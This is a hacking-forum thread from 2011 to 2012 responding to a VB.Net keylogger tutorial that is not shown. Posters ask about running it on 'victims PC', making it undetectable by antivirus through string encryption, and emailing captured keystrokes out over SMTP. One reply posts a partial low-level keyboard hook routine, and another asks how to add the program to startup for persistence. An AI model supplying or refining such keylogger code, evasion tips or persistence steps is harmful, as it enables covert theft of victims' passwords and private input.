Hope you liked it
RE: [VB.Net] Make a Inbuilt keylogger - 1234hotmaster - 01-19-2011
Nice to see someone commented
sorry i don't have any hooks... i just use GetAsyncKeyState... you have any?
RE: [VB.Net] Make a Inbuilt keylogger - S1lentZ - 04-10-2011
Great TUT!!!, but i have some questions:
1. Which framework must be installed on victims PC or this is no matter?
2. In which OS this key-logger would work?
3. Are there a possibility to make it FUD without crypter?
4. I cant understand why in every key-logger is necessary to put email password? (dumb question but i want to understand how it works)
RE: [VB.Net] Make a Inbuilt keylogger - 1234hotmaster - 04-10-2011
nice that you like it
as far as i remember, its FUD =]
well you can use {sa} for string encryption which will UD it alot.
RE: [VB.Net] Make a Inbuilt keylogger - S1lentZ - 04-11-2011
Can you answer other question?
RE: [VB.Net] Make a Inbuilt keylogger - 1234hotmaster - 04-11-2011
.Net Frame work 2.0
Non-64 bit Windows
Yes
Well, for sending a mail you can't send it anonymous. it needs to be sended using a valid account so it needs you to login to your acount and send it. thats why the SMTP settings are needed
ofc in keyloggers like this: http://www.hackcommunity.com/Thread-Advanced-PHP-Keylogger-4-0-No-Username-Password-Port-SMTP-Required
no username or password is needed =]
RE: [VB.Net] Make a Inbuilt keylogger - ashu202 - 07-11-2011
aren't you supposed to declare the functions in a module?
RE: [VB.Net] Make a Inbuilt keylogger - ashu202 - 07-11-2011
are the timers supposed to be enabled from the properties setting or do you use code to enable them
RE: [VB.Net] Make a Inbuilt keylogger - blowdoof - 07-26-2011
(01-19-2011, 09:56 PM)The 7th Sage Wrote: yea, i'll post one later.
if you won't, i will :-)
note - to avoid abuse, i'll only post the essential...haha..
Code:
Private KeyboardHookProcedure As Win32.HookProc
Public Sub InstallHooks()
If hKeyboardHook = 0 Then ' install Keyboard hook
KeyboardHookProcedure = New Win32.HookProc(AddressOf KeyboardHookProc)
hKeyboardHook = Win32.SetWindowsHookEx( _
Win32.WH.WH_KEYBOARD_LL, _
KeyboardHookProcedure, _
Marshal.GetHINSTANCE(Reflection.Assembly.GetExecutingAssembly().GetModules()(0)), _
0)
If (hKeyboardHook = 0) Then 'SetWindowsHookEx failed
RemoveHooks()
Throw New Exception("SetWindowsHookEx failed.")
End If
End If
End Sub
Public Sub RemoveHooks()
Dim keyboardResult As Boolean = True
If hKeyboardHook <> 0 Then
keyboardResult = Win32.UnhookWindowsHookEx(hKeyboardHook)
hKeyboardHook = 0
End If
If Not keyboardResult Then 'UnhookWindowsHookEx failed
Throw New Exception("UnhookWindowsHookEx failed.")
End If
End SubRE: [VB.Net] Make a Inbuilt keylogger - AbdulSalim - 04-30-2012
hiiii how to add the application windows startup registry uatmaticaly when installing?